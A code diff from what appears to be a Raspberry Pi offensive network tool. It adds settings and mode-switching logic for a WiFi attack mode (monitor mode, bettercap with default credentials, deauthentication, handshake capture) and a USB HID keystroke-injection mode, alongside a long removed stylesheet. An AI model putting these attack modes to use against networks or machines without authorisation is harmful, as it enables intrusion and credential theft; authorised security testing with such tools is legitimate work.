b/shared.py @@ -190,6 +190,13 @@ class SharedData: "ai_exploration_rate": "settings.tooltip.ai_exploration_rate", "ai_sync_interval": "settings.tooltip.ai_sync_interval", "ai_server_max_failures_before_auto": "settings.tooltip.ai_server_max_failures_before_auto", + "ai_feature_selection_min_variance": "settings.tooltip.ai_feature_selection_min_variance", + "ai_model_history_max": "settings.tooltip.ai_model_history_max", + "ai_auto_rollback_window": "settings.tooltip.ai_auto_rollback_window", + "ai_cold_start_bootstrap_weight": "settings.tooltip.ai_cold_start_bootstrap_weight", + "circuit_breaker_threshold": "settings.tooltip.circuit_breaker_threshold", + "manual_mode_auto_scan": "settings.tooltip.manual_mode_auto_scan", + "manual_mode_scan_interval": "settings.tooltip.manual_mode_scan_interval", "startup_delay": "settings.tooltip.startup_delay", "web_delay": "settings.tooltip.web_delay", "screen_delay": "settings.tooltip.screen_delay", @@ -222,7 +229,7 @@ class SharedData: # Operation modes "__title_modes__": "Operation Modes", - "manual_mode": True, + "manual_mode": False, "ai_mode": True, "learn_in_auto": False, "debug_mode": True, @@ -252,6 +259,10 @@ class SharedData: "ai_consolidation_max_batches": 2, "ai_feature_hosts_limit": 512, "ai_delete_export_after_upload": True, + "ai_feature_selection_min_variance": 0.001, + "ai_model_history_max": 3, + "ai_auto_rollback_window": 50, + "ai_cold_start_bootstrap_weight": 0.6, "rl_train_batch_size": 10, # Global timing / refresh @@ -426,14 +437,71 @@ class SharedData: "bruteforce_exhaustive_symbols": False, "bruteforce_exhaustive_symbols_chars": "!@#$%^&*", "bruteforce_exhaustive_require_mix": False, + + # Orchestrator improvements + "__title_orchestrator__": "Orchestrator", + "circuit_breaker_threshold": 3, + "manual_mode_auto_scan": True, + "manual_mode_scan_interval": 180, + + "__title_sentinel__": "Sentinel Watchdog", + "sentinel_enabled": False, + "sentinel_interval": 30, + "sentinel_discord_webhook": "", + "sentinel_webhook_url": "", + "sentinel_email_enabled": False, + + # Bifrost (Pwnagotchi Mode) + "__title_bifrost__": "Bifrost (Pwnagotchi Mode)", + "bifrost_enabled": False, + "bifrost_iface": "wlan0mon", + "bifrost_bettercap_host": "127.0.0.1", + "bifrost_bettercap_port": 8081, + "bifrost_bettercap_user": "user", + "bifrost_bettercap_pass": "pass", + "bifrost_bettercap_handshakes": "/root/bifrost/handshakes", + "bifrost_whitelist": "", + "bifrost_channels": "", + "bifrost_filter": "", + "bifrost_personality_deauth": True, + "bifrost_personality_associate": True, + "bifrost_personality_recon_time": 30, + "bifrost_personality_hop_recon_time": 10, + "bifrost_personality_min_recon_time": 5, + "bifrost_personality_ap_ttl": 120, + "bifrost_personality_sta_ttl": 300, + "bifrost_personality_min_rssi": -200, + "bifrost_personality_max_interactions": 3, + "bifrost_personality_max_misses": 8, + "bifrost_personality_excited_epochs": 10, + "bifrost_personality_bored_epochs": 15, + "bifrost_personality_sad_epochs": 25, + "bifrost_personality_bond_factor": 20000, + "bifrost_plugins_path": "/root/bifrost/plugins", + "bifrost_ai_enabled": False, + + # Loki (HID Attack Mode) + "__title_loki__": "Loki (HID Attack Mode)", + "loki_enabled": False, + "loki_default_layout": "us", + "loki_typing_speed_min": 0, + "loki_typing_speed_max": 0, + "loki_scripts_path": "/root/loki/scripts", + "loki_auto_run": "", } @property def operation_mode(self) -> str: """ - Get current operation mode: 'MANUAL', 'AUTO', or 'AI'. + Get current operation mode: 'MANUAL', 'AUTO', 'AI', 'BIFROST', or 'LOKI'. Abstracts legacy manual_mode and ai_mode flags. + LOKI is the 5th exclusive mode — USB HID attack, Pi acts as keyboard/mouse. + BIFROST is the 4th exclusive mode — WiFi monitor mode recon. """ + if self.config.get("loki_enabled", False): + return "LOKI" + if self.config.get("bifrost_enabled", False): + return "BIFROST" if getattr(self, "manual_mode", False): return "MANUAL" if getattr(self, "ai_mode", False): @@ -470,11 +538,13 @@ class SharedData: @operation_mode.setter def operation_mode(self, mode: str): """ - Set operation mode: 'MANUAL', 'AUTO', or 'AI'. + Set operation mode: 'MANUAL', 'AUTO', 'AI', 'BIFROST', or 'LOKI'. Updates legacy flags for backward compatibility. + LOKI mode: stops orchestrator, starts loki engine (USB HID attack). + BIFROST mode: stops orchestrator, starts bifrost engine (monitor mode WiFi recon). """ mode = str(mode or "").upper().strip() - if mode not in ("MANUAL", "AUTO", "AI"): + if mode not in ("MANUAL", "AUTO", "AI", "BIFROST", "LOKI"): return # No-op if already in this mode (prevents log spam and redundant work). @@ -484,26 +554,79 @@ class SharedData: except Exception: pass - if mode == "MANUAL": - self.config["manual_mode"] = True - # ai_mode state doesn't strictly matter in manual, but keep it clean - self.manual_mode = True - self.ai_mode = False - elif mode == "AI": - self.config["manual_mode"] = False - self.config["ai_mode"] = True - self.manual_mode = False - self.ai_mode = True # Update attribute if it exists - elif mode == "AUTO": + # ── Leaving LOKI → stop engine, remove HID gadget ── + was_loki = self.config.get("loki_enabled", False) + if was_loki and mode != "LOKI": + engine = getattr(self, 'loki_engine', None) + if engine and hasattr(engine, 'stop'): + try: + engine.stop() + except Exception as e: + logger.warning("Loki stop error: %s", e) + self.config["loki_enabled"] = False + + # ── Leaving BIFROST → stop engine, restore WiFi ── + was_bifrost = self.config.get("bifrost_enabled", False) + if was_bifrost and mode != "BIFROST": + engine = getattr(self, 'bifrost_engine', None) + if engine and hasattr(engine, 'stop'): + try: + engine.stop() + except Exception as e: + logger.warning("Bifrost stop error: %s", e) + self.config["bifrost_enabled"] = False + + # ── Set new mode ── + if mode == "LOKI": + self.config["loki_enabled"] = True + self.config["bifrost_enabled"] = False self.config["manual_mode"] = False self.config["ai_mode"] = False self.manual_mode = False self.ai_mode = False - - # Ensure config reflects attributes (two-way sync usually handled by load_config but we do it here for setters) + # Start Loki engine + engine = getattr(self, 'loki_engine', None) + if engine and hasattr(engine, 'start'): + try: + engine.start() + except Exception as e: + logger.warning("Loki start error: %s", e) + elif mode == "BIFROST": + self.config["bifrost_enabled"] = True + self.config["loki_enabled"] = False + self.config["manual_mode"] = False + self.config["ai_mode"] = False + self.manual_mode = False + self.ai_mode = False + # Start engine + engine = getattr(self, 'bifrost_engine', None) + if engine and hasattr(engine, 'start'): + try: + engine.start() + except Exception as e: + logger.warning("Bifrost start error: %s", e) + elif mode == "MANUAL": + self.config["loki_enabled"] = False + self.config["manual_mode"] = True + self.manual_mode = True + self.ai_mode = False + elif mode == "AI": + self.config["loki_enabled"] = False + self.config["manual_mode"] = False + self.config["ai_mode"] = True + self.manual_mode = False + self.ai_mode = True + elif mode == "AUTO": + self.config["loki_enabled"] = False + self.config["manual_mode"] = False + self.config["ai_mode"] = False + self.manual_mode = False + self.ai_mode = False + + # Ensure config reflects attributes self.config["manual_mode"] = self.manual_mode self.config["ai_mode"] = getattr(self, "ai_mode", False) - + self.invalidate_config_cache() logger.info(f"Operation mode switched to: {mode}") @@ -631,6 +754,7 @@ class SharedData: # System state flags self.should_exit = False self.display_should_exit = False + self.display_layout = None # Initialized by Display module self.orchestrator_should_exit = False self.webapp_should_exit = False diff --git a/utils.py b/utils.py index 1ce0c6c..2f750cd 100644 --- a/utils.py +++ b/utils.py @@ -22,6 +22,9 @@ class WebUtils: "action_utils": ("web_utils.action_utils", "ActionUtils"), "rl": ("web_utils.rl_utils", "RLUtils"), "debug_utils": ("web_utils.debug_utils", "DebugUtils"), + "sentinel": ("web_utils.sentinel_utils", "SentinelUtils"), + "bifrost": ("web_utils.bifrost_utils", "BifrostUtils"), + "loki": ("web_utils.loki_utils", "LokiUtils"), } diff --git a/web/css/pages.css b/web/css/pages.css index 9f0bfc5..bee181f 100644 --- a/web/css/pages.css +++ b/web/css/pages.css @@ -1,10646 +1,19 @@ -/* ========================================================================== - pages.css — Page-specific styles for all SPA page modules. - Each section is scoped under the page's wrapper class to avoid conflicts. - ========================================================================== */ - -/* ===== Page-specific variables (extends global.css tokens) ===== */ -:root { - /* Bridge aliases used by multiple pages (Credentials, Loot, Files, Attacks) */ - --_bg: var(--bg); - --_panel: var(--c-panel-2); - --_panel-hi: color-mix(in oklab, var(--c-panel-2) 96%, transparent); - --_panel-lo: color-mix(in oklab, var(--c-panel-2) 86%, transparent); - --_border: var(--c-border); - --_ink: var(--ink); - --_muted: var(--muted); - --_acid: var(--acid); - --_acid2: var(--acid-2); - --_shadow: var(--shadow); - - /* NetKB chip colors */ - --kb-hostname-bg: color-mix(in oklab, var(--acid) 16%, transparent); - --kb-ip-bg: color-mix(in oklab, var(--acid-2) 18%, transparent); - --kb-mac-bg: color-mix(in oklab, var(--muted) 10%, transparent); - --kb-vendor-bg: color-mix(in oklab, #b18cff 16%, transparent); - --kb-ports-bg: color-mix(in oklab, #5fd1ff 16%, transparent); - --kb-essid-bg: color-mix(in oklab, #00e6c3 16%, transparent); - --kb-offline-bg: color-mix(in oklab, var(--bg-2) 88%, black 12%); - --kb-offline-brd: color-mix(in oklab, var(--c-border-strong) 60%, transparent); - --kb-offline-ring: color-mix(in oklab, #ff5b5b 30%, transparent); - --kb-badge-shimmer: linear-gradient(90deg, transparent, rgba(255, 255, 255, .22), transparent); - - /* Attacks page */ - --tile-min: 160px; - --ok-glow: rgba(34, 197, 94, .45); - --ko-glow: rgba(239, 68, 68, .45); -} - -/* ===== Shared sidebar layout (SPA parity with web_old) ===== */ -.page-with-sidebar { - --page-sidebar-w: 280px; - position: relative; - display: flex; - gap: 12px; - min-height: calc(100vh - var(--h-topbar, 56px) - var(--h-bottombar, 56px) - 24px); - align-items: stretch; -} - -.page-with-sidebar .page-sidebar { - width: var(--page-sidebar-w); - flex: 0 0 var(--page-sidebar-w); - position: sticky; - top: 0; - align-self: stretch; - min-height: 100%; - max-height: none; - min-width: 0; - display: flex; - flex-direction: column; - border: 1px solid var(--c-border); - border-radius: 12px; - background: var(--grad-card); - box-shadow: var(--shadow); - overflow: auto; -} - -.page-with-sidebar .page-main { - min-width: 0; - flex: 1; - min-height: 0; - display: flex; - flex-direction: column; -} - -.page-with-sidebar .sidebar-toggle-btn { - display: inline-flex; - margin-bottom: 0; - align-self: auto; -} - -.page-with-sidebar .sidebar-fab { - position: fixed; - right: 14px; - bottom: calc(var(--h-bottombar, 56px) + 14px); - z-index: 82; - border-radius: 999px; - width: 38px; - height: 38px; - min-width: 38px; - min-height: 38px; - padding: 0; - font-size: 16px; - color: var(--ink); - background: color-mix(in oklab, var(--c-panel) 88%, transparent); - border: 1px solid var(--c-border-strong); - box-shadow: 0 6px 16px rgba(0, 0, 0, .28); - opacity: .88; -} - -.page-with-sidebar .sidebar-fab:hover { - opacity: 1; - transform: translateY(-1px); -} - -.page-with-sidebar .sidebar-fab:active { - transform: translateY(0); -} - -.page-sidebar-backdrop { - display: none; - position: fixed; - left: 0; - right: 0; - top: var(--h-topbar, 56px); - bottom: var(--h-bottombar, 56px); - background: rgba(0, 0, 0, .52); - border: 0; - z-index: 79; -} - -.page-with-sidebar .sidehead { - padding: 10px; - border-bottom: 1px dashed var(--c-border); - display: flex; - align-items: center; - gap: 8px; -} - -.page-with-sidebar .sidetitle { - font-weight: 800; - color: var(--acid); - letter-spacing: .05em; -} - -.page-with-sidebar .sidecontent { - padding: 10px; - overflow: auto; - min-height: 0; - flex: 1; -} - -.page-with-sidebar.sidebar-collapsed .page-sidebar { - width: 0; - flex-basis: 0; - padding: 0; - border-width: 0; - overflow: hidden; -} - -@media (max-width: 900px) { - .page-with-sidebar { - min-height: calc(100vh - var(--h-topbar, 56px) - var(--h-bottombar, 56px) - 12px); - } - - .page-with-sidebar .sidebar-fab { - right: 10px; - bottom: calc(var(--h-bottombar, 56px) + 10px); - } - - .sidebar-fab-unified { - position: fixed; - z-index: 82; - border-radius: 999px; - width: 38px; - height: 38px; - min-width: 38px; - min-height: 38px; - padding: 0; - font-size: 16px; - color: var(--ink); - background: color-mix(in oklab, var(--c-panel) 88%, transparent); - border: 1px solid var(--c-border-strong); - box-shadow: 0 6px 16px rgba(0, 0, 0, .28); - opacity: .88; - } - - .sidebar-fab-unified:hover { - opacity: 1; - transform: translateY(-1px); - } - - .sidebar-fab-unified:active { - transform: translateY(0); - } - - .page-with-sidebar .page-sidebar { - position: fixed; - top: var(--h-topbar, 56px); - bottom: var(--h-bottombar, 56px); - left: 0; - z-index: 80; - width: min(86vw, 320px); - flex-basis: auto; - transform: translateX(-105%); - transition: transform .2s ease; - } - - .page-with-sidebar.sidebar-open .page-sidebar { - transform: translateX(0); - } - - .page-with-sidebar.sidebar-open .page-sidebar-backdrop { - display: block; - } -} - -/* ===== DASHBOARD ===== */ -.dashboard-container { - --gap: 12px; - --radius: 14px; - --pad: 12px; - --fs-meta: 12px; - --fs-title: 22px; - --glow-weak: color-mix(in oklab, var(--_acid2) 30%, transparent); - --glow-mid: color-mix(in oklab, var(--_acid2) 70%, transparent); -} - -@media (min-width:1024px) { - .dashboard-container { - --gap: 14px; - --radius: 16px; - --pad: 14px; - --fs-title: 24px; - } -} - -.dashboard-container .card { - border: 1px solid var(--c-border, var(--_border)); - background: color-mix(in oklab, var(--_panel) 92%, transparent); - border-radius: var(--radius); - box-shadow: var(--_shadow); - padding: var(--pad); - backdrop-filter: saturate(1.05) blur(3px); -} - -.dashboard-container .head { - display: flex; - justify-content: space-between; - align-items: center; - gap: 10px; -} - -.dashboard-container .head .title { - font-size: var(--fs-title); - line-height: 1.1; - margin: 0; -} - -.dashboard-container .head .meta { - color: var(--_muted); - font-size: var(--fs-meta); -} - -.dashboard-container .pill { - font-size: 12px; - color: var(--_muted); -} - -.dashboard-container .hero-grid { - display: grid; - gap: var(--gap); - grid-template-columns: 1fr; -} - -@media (min-width:1024px) { - .dashboard-container .hero-grid { - grid-template-columns: minmax(240px, 320px) 1fr minmax(220px, 300px); - } -} - -/* Battery naked */ -.dashboard-container .battery-card.naked { - border: none; - background: transparent; - box-shadow: none; - padding: 0; - display: grid; - place-items: center; -} - -.dashboard-container .battery-wrap { - position: relative; - width: clamp(180px, 46vw, 260px); - aspect-ratio: 1/1; - height: auto; - display: grid; - place-items: center; -} - -.dashboard-container .battery-ring { - position: absolute; - left: 50%; - top: 50%; - width: 100%; - height: 100%; - transform: translate(-50%, -50%) rotate(-90deg); - display: block; -} - -.dashboard-container .batt-bg { - fill: none; - stroke: color-mix(in oklab, var(--_ink) 10%, transparent); - stroke-width: 16; - opacity: .35; -} - -.dashboard-container .batt-fg { - fill: none; - stroke: url(#batt-grad); - stroke-width: 16; - stroke-linecap: round; - filter: url(#batt-glow); - stroke-dasharray: 100; - stroke-dashoffset: 100; - transition: stroke-dashoffset .9s ease; -} - -.dashboard-container .batt-scan { - fill: none; - stroke: var(--glow-mid); - stroke-width: 16; - stroke-linecap: round; - stroke-dasharray: 8 280; - opacity: .14; - transform-origin: 50% 50%; - animation: db-battSweep 2.2s linear infinite; -} - -@keyframes db-battSweep { - to { - transform: rotate(360deg); - } -} - -.dashboard-container .batt-center { - position: absolute; - inset: 0; - display: grid; - grid-template-rows: auto auto auto; - align-content: center; - justify-items: center; - gap: 6px; - padding: 6px; - text-align: center; -} - -.dashboard-container .bjorn-portrait { - position: relative; - width: 64px; - height: 64px; - display: grid; - place-items: center; - overflow: hidden; -} - -.dashboard-container .bjorn-portrait img { - width: 100%; - height: 100%; - object-fit: contain; - display: block; - opacity: .95; -} - -.dashboard-container .bjorn-lvl { - position: absolute; - right: -4px; - bottom: -4px; - font-size: 11px; - font-weight: 700; - padding: 2px 6px; - border-radius: 999px; - background: #0f1f18; - color: #d9ffe7; - border: 1px solid color-mix(in oklab, var(--ok) 40%, var(--_border)); - box-shadow: 0 0 8px var(--glow-weak); -} - -.dashboard-container .batt-val { - font-size: clamp(18px, 5vw, 24px); - font-weight: 800; - text-shadow: 0 0 14px var(--glow-weak); -} - -.dashboard-container .batt-state { - color: var(--_muted); - font-size: 11px; - display: flex; - align-items: center; - gap: 6px; -} - -.dashboard-container .batt-indicator { - width: 16px; - height: 16px; - display: inline-grid; - place-items: center; -} - -.dashboard-container .batt-indicator svg { - width: 18px; - height: 18px; - stroke: currentColor; - fill: none; - stroke-width: 2; -} - -.dashboard-container .pulse { - animation: db-pulseGlow 1.4s ease-in-out infinite; -} - -@keyframes db-pulseGlow { - - 0%, - 100% { - transform: scale(1); - opacity: .9; - } - - 50% { - transform: scale(1.1); - opacity: 1; - filter: drop-shadow(0 0 6px var(--glow-mid)); - } -} - -/* Connectivity */ -.dashboard-container .net-card .globe { - position: relative; - width: 84px; - height: 84px; - display: grid; - place-items: center; - background: color-mix(in oklab, var(--_panel) 92%, transparent); -} - -.dashboard-container .globe svg { - display: block; -} - -.dashboard-container .globe-rim { - fill: none; - stroke: color-mix(in oklab, var(--_ink) 18%, transparent); - stroke-width: 3; -} - -.dashboard-container .globe-lines { - fill: none; - stroke: var(--_acid2); - stroke-opacity: .85; - stroke-width: 2; - stroke-linecap: round; - stroke-dasharray: 4 5; - animation: db-globeSpin 12s linear infinite; - transform-origin: 32px 32px; -} - -@keyframes db-globeSpin { - to { - transform: rotate(360deg); - } -} - -.dashboard-container .net-badge { - display: inline-flex; - align-items: center; - gap: 8px; - padding: 6px 10px; - border-radius: 999px; - border: 1px solid var(--_border); - background: color-mix(in oklab, var(--_panel) 90%, transparent); - font-weight: 700; -} - -.dashboard-container .net-on { - color: color-mix(in oklab, var(--_ink) 94%, white); - background: var(--ok); - border-color: color-mix(in oklab, var(--ok) 60%, transparent); - text-shadow: 0 1px 0 rgba(0, 0, 0, .25); -} - -.dashboard-container .net-off { - background: color-mix(in oklab, var(--danger, #ff4d6d) 12%, var(--_panel)); - color: var(--_ink); - border-color: color-mix(in oklab, var(--danger, #ff4d6d) 50%, transparent); - box-shadow: inset 0 0 10px color-mix(in oklab, var(--danger, #ff4d6d) 35%, transparent); -} - -.dashboard-container .conn-card .row { - display: grid; - grid-template-columns: 22px 1fr auto; - gap: 10px; - align-items: center; - padding: 8px; - border: 1px solid var(--_border); - border-radius: 12px; - background: color-mix(in oklab, var(--_panel) 96%, transparent); -} - -.dashboard-container .conn-card .row+.row { - margin-top: 8px; -} - -.dashboard-container .conn-card .icon { - width: 22px; - height: 22px; - display: grid; - place-items: center; -} - -.dashboard-container .conn-card .icon svg { - width: 20px; - height: 20px; - stroke: var(--_muted); - fill: none; - stroke-width: 2; -} - -/* LED physical indicators */ -.dashboard-container .conn-card #row-wifi, -.dashboard-container .conn-card #row-bt, -.dashboard-container .conn-card #row-eth, -.dashboard-container .conn-card #row-usb { - grid-template-columns: 14px 22px 1fr auto; -} - -.dashboard-container .conn-card #row-wifi::before, -.dashboard-container .conn-card #row-bt::before, -.dashboard-container .conn-card #row-eth::before, -.dashboard-container .conn-card #row-usb::before { - content: ""; - width: 10px; - height: 10px; - border-radius: 50%; - justify-self: center; - background: #4a4f50; - box-shadow: 0 0 0 2px var(--_border) inset, 0 0 6px rgba(0, 0, 0, .35); - opacity: .9; -} - -.dashboard-container .conn-card #row-wifi[data-physon]::before, -.dashboard-container .conn-card #row-bt[data-physon]::before, -.dashboard-container .conn-card #row-eth[data-physon]::before, -.dashboard-container .conn-card #row-usb[data-physon]::before { - background: var(--ok); - box-shadow: 0 0 0 2px color-mix(in oklab, var(--ok) 40%, transparent) inset, 0 0 12px var(--ok); -} - -.dashboard-container .conn-card #row-wifi.err::before, -.dashboard-container .conn-card #row-bt.err::before, -.dashboard-container .conn-card #row-eth.err::before, -.dashboard-container .conn-card #row-usb.err::before { - background: var(--danger, #ff4d6d); - box-shadow: 0 0 12px var(--danger, #ff4d6d); -} - -.dashboard-container .state-pill { - padding: 3px 8px; - border-radius: 999px; - font-size: 12px; - border: 1px solid var(--_border); - background: color-mix(in oklab, var(--_panel) 90%, transparent); - color: var(--_muted); -} - -.dashboard-container .on .state-pill { - color: #d9ffe7; - background: color-mix(in oklab, var(--ok) 15%, #0f1f18); - border-color: color-mix(in oklab, var(--ok) 40%, var(--_border)); -} - -.dashboard-container .off .state-pill { - opacity: .8; -} - -.dashboard-container .err .state-pill { - color: #ffdadd; - background: color-mix(in oklab, var(--danger, #ff4d6d) 15%, #2a1a1a); - border-color: color-mix(in oklab, var(--danger, #ff4d6d) 40%, var(--_border)); -} - -.dashboard-container .details { - color: var(--_muted); - font-size: 12px; -} - -.dashboard-container .details .key { - color: var(--_ink); - font-weight: 600; -} - -.dashboard-container .details .dim { - opacity: .85; -} - -/* KPI cards */ -.dashboard-container .kpi-cards { - display: grid; - gap: var(--gap); - grid-template-columns: repeat(auto-fit, minmax(190px, 1fr)); - margin-top: var(--gap); -} - -.dashboard-container .kpi { - border: 1px solid var(--_border); - border-radius: var(--radius); - background: color-mix(in oklab, var(--_panel) 92%, transparent); - padding: var(--pad); - display: grid; - gap: 6px; -} - -.dashboard-container .kpi .label { - color: var(--_muted); - font-size: 12px; -} - -.dashboard-container .kpi .val { - font-size: 20px; - font-weight: 800; -} - -.dashboard-container .bar { - position: relative; - width: 100%; - height: 8px; - border-radius: 999px; - overflow: hidden; - background: color-mix(in oklab, var(--_ink) 8%, transparent); - border: 1px solid var(--_border); -} - -.dashboard-container .bar>i { - position: absolute; - left: 0; - top: 0; - bottom: 0; - width: 0%; - background: linear-gradient(90deg, var(--_acid), var(--_acid2)); - transition: width .25s ease; -} - -.dashboard-container .bar>i.warm { - background: linear-gradient(90deg, color-mix(in oklab, var(--warning, #ffd166) 85%, #ffbe55), var(--warning, #ffd166)); -} - -.dashboard-container .bar>i.hot { - background: linear-gradient(90deg, color-mix(in oklab, var(--danger, #ff4d6d) 85%, #ff6b6b), var(--danger, #ff4d6d)); -} - -.dashboard-container .delta { - display: inline-flex; - gap: 6px; - align-items: center; - padding: 2px 8px; - border-radius: 999px; - font-size: 12px; - border: 1px solid var(--_border); - background: color-mix(in oklab, var(--_panel) 92%, transparent); - color: var(--_muted); -} - -.dashboard-container .delta.good { - color: #d9ffe7; - background: color-mix(in oklab, var(--ok) 15%, #0f1f18); - border-color: color-mix(in oklab, var(--ok) 40%, var(--_border)); -} - -.dashboard-container .delta.bad { - color: #ffdadd; - background: color-mix(in oklab, var(--danger, #ff4d6d) 15%, #2a1a1a); - border-color: color-mix(in oklab, var(--danger, #ff4d6d) 40%, var(--_border)); -} - -.dashboard-container .submeta { - color: var(--_muted); - font-size: 12px; -} - -/* ===== CREDENTIALS ===== */ -.credentials-container { - display: flex; - flex-direction: column; - gap: 12px; - scroll-padding-top: 56px; -} - -.credentials-container .stats-bar { - display: flex; - gap: 12px; - flex-wrap: wrap; - padding: 12px; - background: color-mix(in oklab, var(--_panel) 88%, transparent); - border: 1px solid var(--_border); - border-radius: 12px; - box-shadow: var(--_shadow); - backdrop-filter: blur(16px); -} - -.credentials-container .stat-item { - display: flex; - align-items: center; - gap: 8px; - padding: 8px 12px; - border: 1px solid var(--_border); - border-radius: 10px; - background: color-mix(in oklab, var(--_panel) 70%, transparent); -} - -.credentials-container .stat-icon { - font-size: 1.1rem; - opacity: .9; -} - -.credentials-container .stat-value { - font-weight: 800; - background: linear-gradient(135deg, var(--_acid), var(--_acid2)); - -webkit-background-clip: text; - background-clip: text; - -webkit-text-fill-color: transparent; -} - -.credentials-container .stat-label { - color: var(--_muted); - font-size: .8rem; -} - -.credentials-container .global-search-container { - position: relative; -} - -.credentials-container .global-search-input { - width: 100%; - padding: 10px 14px; - border-radius: 12px; - border: 1px solid var(--_border); - background: color-mix(in oklab, var(--_panel) 90%, transparent); - color: var(--_ink); -} - -.credentials-container .global-search-input:focus { - outline: none; - border-color: color-mix(in oklab, var(--_acid2) 40%, var(--_border)); - box-shadow: 0 0 0 3px color-mix(in oklab, var(--_acid2) 18%, transparent); -} - -.credentials-container .clear-global-button { - position: absolute; - right: 10px; - top: 50%; - transform: translateY(-50%); - background: none; - border: 1px solid var(--_border); - color: #ef4444; - border-radius: 8px; - padding: 2px 6px; - display: none; -} - -.credentials-container .clear-global-button.show { - display: block; -} - -.credentials-container .tabs-container { - position: sticky; - top: 0; - z-index: 20; - display: flex; - align-items: center; - gap: 8px; - padding: 8px 12px; - min-height: 44px; - overflow-x: auto; - -webkit-overflow-scrolling: touch; - background: color-mix(in oklab, var(--_panel) 92%, transparent); - border: 1px solid var(--_border); - border-radius: 12px; - box-shadow: var(--_shadow); -} - -.credentials-container .tabs-container::-webkit-scrollbar { - height: 0; -} - -.credentials-container .tab { - padding: 10px 18px; - border-radius: 10px; - cursor: pointer; - color: var(--_muted); - font-weight: 700; - font-size: .9rem; - border: 1px solid transparent; - white-space: nowrap; - flex: 0 0 auto; -} - -.credentials-container .tab:hover { - background: rgba(255, 255, 255, .05); - color: var(--_ink); - border-color: var(--_border); -} - -.credentials-container .tab.active { - color: var(--_ink); - background: linear-gradient(135deg, color-mix(in oklab, var(--_acid2) 18%, transparent), color-mix(in oklab, var(--_acid) 14%, transparent)); - border-color: color-mix(in oklab, var(--_acid2) 28%, var(--_border)); -} - -.credentials-container .tab-badge { - margin-left: 8px; - padding: 2px 6px; - border-radius: 999px; - background: rgba(255, 255, 255, .1); - border: 1px solid var(--_border); - font-size: .75rem; -} - -.credentials-container .services-grid { - display: flex; - flex-direction: column; - gap: 12px; -} - -.credentials-container .service-card { - background: color-mix(in oklab, var(--_panel) 88%, transparent); - border: 1px solid var(--_border); - border-radius: 16px; - overflow: hidden; - box-shadow: var(--_shadow); -} - -.credentials-container .service-header { - display: flex; - align-items: center; - gap: 8px; - padding: 12px; - cursor: pointer; - user-select: none; - border-bottom: 1px solid color-mix(in oklab, var(--_border) 65%, transparent); -} - -.credentials-container .service-header:hover { - background: rgba(255, 255, 255, .04); -} - -.credentials-container .service-title { - flex: 1; - font-weight: 800; - letter-spacing: .2px; - font-size: .95rem; - text-transform: uppercase; - background: linear-gradient(135deg, var(--_acid), var(--_acid2)); - -webkit-background-clip: text; - background-clip: text; - -webkit-text-fill-color: transparent; - white-space: nowrap; - overflow: hidden; - text-overflow: ellipsis; -} - -.credentials-container .service-count { - font-weight: 800; - font-size: .8rem; - padding: 4px 8px; - border-radius: 10px; - background: rgba(255, 255, 255, .08); - color: var(--_ink); - border: 1px solid var(--_border); -} - -.credentials-container .service-card[data-credentials]:not([data-credentials="0"]) .service-count { - background: linear-gradient(135deg, #2e2e2e, #4CAF50); - box-shadow: inset 0 0 0 1px rgba(76, 175, 80, .35); -} - -.credentials-container .search-container { - position: relative; -} - -.credentials-container .search-input { - padding: 6px 24px 6px 8px; - border: none; - border-radius: 10px; - background: rgba(255, 255, 255, .06); - color: var(--_ink); - font-size: .82rem; -} - -.credentials-container .search-input:focus { - outline: none; - background: rgba(255, 255, 255, .1); -} - -.credentials-container .clear-button { - position: absolute; - right: 4px; - top: 50%; - transform: translateY(-50%); - border: none; - background: none; - color: #ef4444; - cursor: pointer; - display: none; -} - -.credentials-container .clear-button.show { - display: block; -} - -.credentials-container .download-button { - border: 1px solid var(--_border); - background: rgba(255, 255, 255, .04); - color: var(--_muted); - border-radius: 8px; - padding: 4px 8px; - cursor: pointer; -} - -.credentials-container .download-button:hover { - color: #e99f00; - filter: brightness(1.06); -} - -.credentials-container .collapse-indicator { - color: var(--_muted); -} - -.credentials-container .service-card.collapsed .service-content { - max-height: 0; - overflow: hidden; -} - -.credentials-container .service-content { - padding: 8px 12px; -} - -.credentials-container .credential-item { - border: 1px solid var(--_border); - border-radius: 10px; - margin-bottom: 6px; - padding: 8px; - background: rgba(255, 255, 255, .02); - display: grid; - grid-template-columns: repeat(auto-fit, minmax(120px, 1fr)); - gap: 8px; -} - -.credentials-container .credential-field { - display: flex; - align-items: center; - gap: 6px; -} - -.credentials-container .field-label { - font-size: .78rem; - color: var(--_muted); -} - -.credentials-container .field-value { - flex: 1; - padding: 2px 6px; - border-radius: 8px; - cursor: pointer; - white-space: nowrap; - overflow: hidden; - text-overflow: ellipsis; - border: 1px solid transparent; -} - -.credentials-container .field-value:hover { - background: rgba(255, 255, 255, .06); - border-color: var(--_border); -} - -.credentials-container .bubble-blue { - background: linear-gradient(135deg, #1d2a32, #00c4d6); - color: #fff; -} - -.credentials-container .bubble-green { - background: linear-gradient(135deg, #1e2a24, #00b894); - color: #fff; -} - -.credentials-container .bubble-orange { - background: linear-gradient(135deg, #3b2f1a, #e7951a); - color: #fff; -} - -.credentials-container .copied-feedback { - position: fixed; - left: 50%; - bottom: 20px; - transform: translateX(-50%); - padding: 8px 12px; - background: #4CAF50; - color: #fff; - border-radius: 10px; - box-shadow: var(--_shadow); - opacity: 0; - transition: opacity .25s; - z-index: 9999; -} - -.credentials-container .copied-feedback.show { - opacity: 1; -} - -/* ===== NETKB ===== */ -.netkb-container { - display: grid; - gap: 16px; -} - -.netkb-container .hidden { - display: none !important; -} - -.netkb-container .netkb-toolbar-wrap { - position: sticky; - top: 0; - z-index: 500; - backdrop-filter: saturate(1.1) blur(6px); -} - -.netkb-container .netkb-toolbar { - position: relative; - display: flex; - gap: 12px; - align-items: center; - justify-content: flex-end; - margin-bottom: 12px; - border: 1px solid var(--c-border-strong); - padding: 8px 10px; - box-shadow: var(--shadow); - background: var(--panel); - border-radius: 16px; -} - -/* .segmented styles now inherited from global.css */ - -.netkb-container .kb-switch { - display: inline-flex; - align-items: center; - gap: 10px; - font-weight: 700; - color: var(--muted); - background: var(--panel); - border: 1px solid var(--c-border-strong); - border-radius: 999px; - padding: 6px 10px; -} - -.netkb-container .kb-switch input { - display: none; -} - -.netkb-container .kb-switch .track { - width: 44px; - height: 24px; - border-radius: 999px; - background: var(--c-panel-2); - position: relative; - border: 1px solid var(--c-border); -} - -.netkb-container .kb-switch .thumb { - position: absolute; - top: 2px; - left: 2px; - width: 20px; - height: 20px; - border-radius: 50%; - background: var(--ink); - box-shadow: 0 2px 8px rgba(0, 0, 0, .4); - transition: left .18s ease, background .18s ease; -} - -.netkb-container .kb-switch input:checked~.track .thumb { - 